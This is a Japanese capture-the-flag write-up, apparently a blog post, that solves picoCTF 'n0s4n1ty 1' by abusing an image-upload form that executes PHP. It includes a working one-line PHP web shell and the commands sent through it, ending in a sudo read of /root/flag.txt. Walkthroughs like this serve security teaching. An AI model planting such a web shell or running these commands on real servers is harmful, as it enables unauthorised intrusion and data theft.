1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

[writeup] picoCTF "n0s4n1ty 1"

Posted at

今回の問題

picoCTFより"n0s4n1ty 1"を解いていきます。

実際に解いていく

1. 問題文にあるWebサイトに移動する

n0s4n1ty 1_1.png

このWebサイトは、好きな画像をアップロードすることができるWebサイトみたいです。

2. Webサイトを探索する

はじめに、ファイルを選択をクリックして、アップロードしたい画像を選びます。その後、Upload Profileをクリックして、選択した画像をアップロードします。すると、「アップロードできました」という内容とともに、/uploads/<ファイル名>というパスが表示されています。そこにアクセスすると、アップロードしたファイルが確認できます。以上が、このWebサイトの一連の流れでした。

3. どんなファイルがアップロードできるか試す

アップロードするファイルの拡張子に指定はあるのでしょうか?つまり、jpgファイルだけでなくtxtファイルphpファイルなどの種類のファイルもアップロードすることができるのか?どんな種類のファイルをアップロードすることができるのかを試してみます。

まずは、hello.txtという適当なテキストファイルをアップロードしてみます。

hello.txt
hello

n0s4n1ty 1_2.png
n0s4n1ty 1_3.png

結果は、無事にアップロードすることができました!表示されたパスにアクセスして本当にアップロードできているのかを確認します。
n0s4n1ty 1_4.png

うん。アップロードできていますね。

次にPHPファイルをアップロードしてみます。

info.php
<?php phpinfo(); ?>

n0s4n1ty 1_9.png
n0s4n1ty 1_6.png

こちらも、無事にアップロードすることができました!表示されたパスにアクセスすると、PHPに関する情報が表示されています。
n0s4n1ty 1_7.png

この結果がとても重要です。info.phpをアップロードしてパスにアクセスすると、info.phpで指示した内容が表示されています。よって、PHPファイルが実行されたということがわかります。

以上より、このWebサイトには「サーバーがアップロードされたPHPファイルをWebサーバーの機能として実行してしまっている」という脆弱性があることがわかります。この脆弱性を使って、FLAGを獲得していきましょう。

4. Webシェルを使ってFLAGを探す

以下の攻撃用プログラムを作成します。

shell.php
<?
php system($_GET['cmd']);
?>

n0s4n1ty 1_8.png
n0s4n1ty 1_10.png

そして、問題のWebサイトにアップロードします。アップロード後、/uploads/shell.phpというパスが手に入ります。そしたら、FLAGの書かれたファイルを探していきます。[サイトのURL]/uploads/shell.php?cmd=ls -laのように、cmd=の後ろを変えることで、サーバーへの指示を変えることが可能です

5. FLAGを獲得

FLAGは一体どこにあるのでしょうか?先ほどのshell.phpをアップロード後の、URLの後ろ(cmd=)を以下のように変えながら、FLAGを探していきます。

  1. ls -la: 現在のディレクトリ→FLAGなし
  2. ls -la ..: 一つ上の階層のディレクトリ→FLAGなし
  3. ls -la .. ..: さらに上の階層のディレクトリ→FLAGなし
  4. ls -la /: ルートディレクトリ(システムの最上階層)→FLAGなし
  5. ls -la /root: rootという特別な管理者ユーザー専用のディレクトリ→FLAGなし
  6. sudo ls -la /root: sudoを使って、管理者権限に昇格する→FLAGの書かれていそうなファイルを発見!

n0s4n1ty 1_11.png

flag.txt は、/root ディレクトリに sudo で入ることで見つけることができました。次に、cmd= の後ろを以下のように変えて、flag.txt の中身を見てみます。

sudo cat /root/flag.txt

n0s4n1ty 1_12.png

ということで、flag.txt 中に書かれたFLAGを獲得することができました!

まとめ

今回の問題は、phpファイル をアップロードして、以下のような流れでFLAGを獲得することができました。

  1. ユーザー → サーバーへの「リクエスト」
    ユーザーがブラウザで .../shell.php?cmd=ls -la / というURLにアクセスすると、ユーザーのブラウザはWebサーバーに「/uploads/shell.phpというプログラムを実行してください。その際、cmdというパラメータに ls -la / という値を渡してください」というリクエストを送信する。

  2. サーバー内部での処理
    リクエストを受け取ったサーバーは、ユーザーがアップロードしたshell.phpを起動する。プログラムの中の system($_GET['cmd']); というコードが、受け取った ls -la / をOSに渡し、「このコマンドを実行してください」と命令する。

  3. サーバー → ユーザーへの「レスポンス」
    OSがコマンドを実行した結果(この場合はルートディレクトリの一覧)を、shell.phpが受け取る。そして、Webサーバーはその結果を、ユーザーのブラウザにレスポンスとして送り返す。

  4. 結果の表示
    返事を受け取ったブラウザは、その内容(ディレクトリ一覧のテキスト)を画面に表示する。

補足

・なし

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?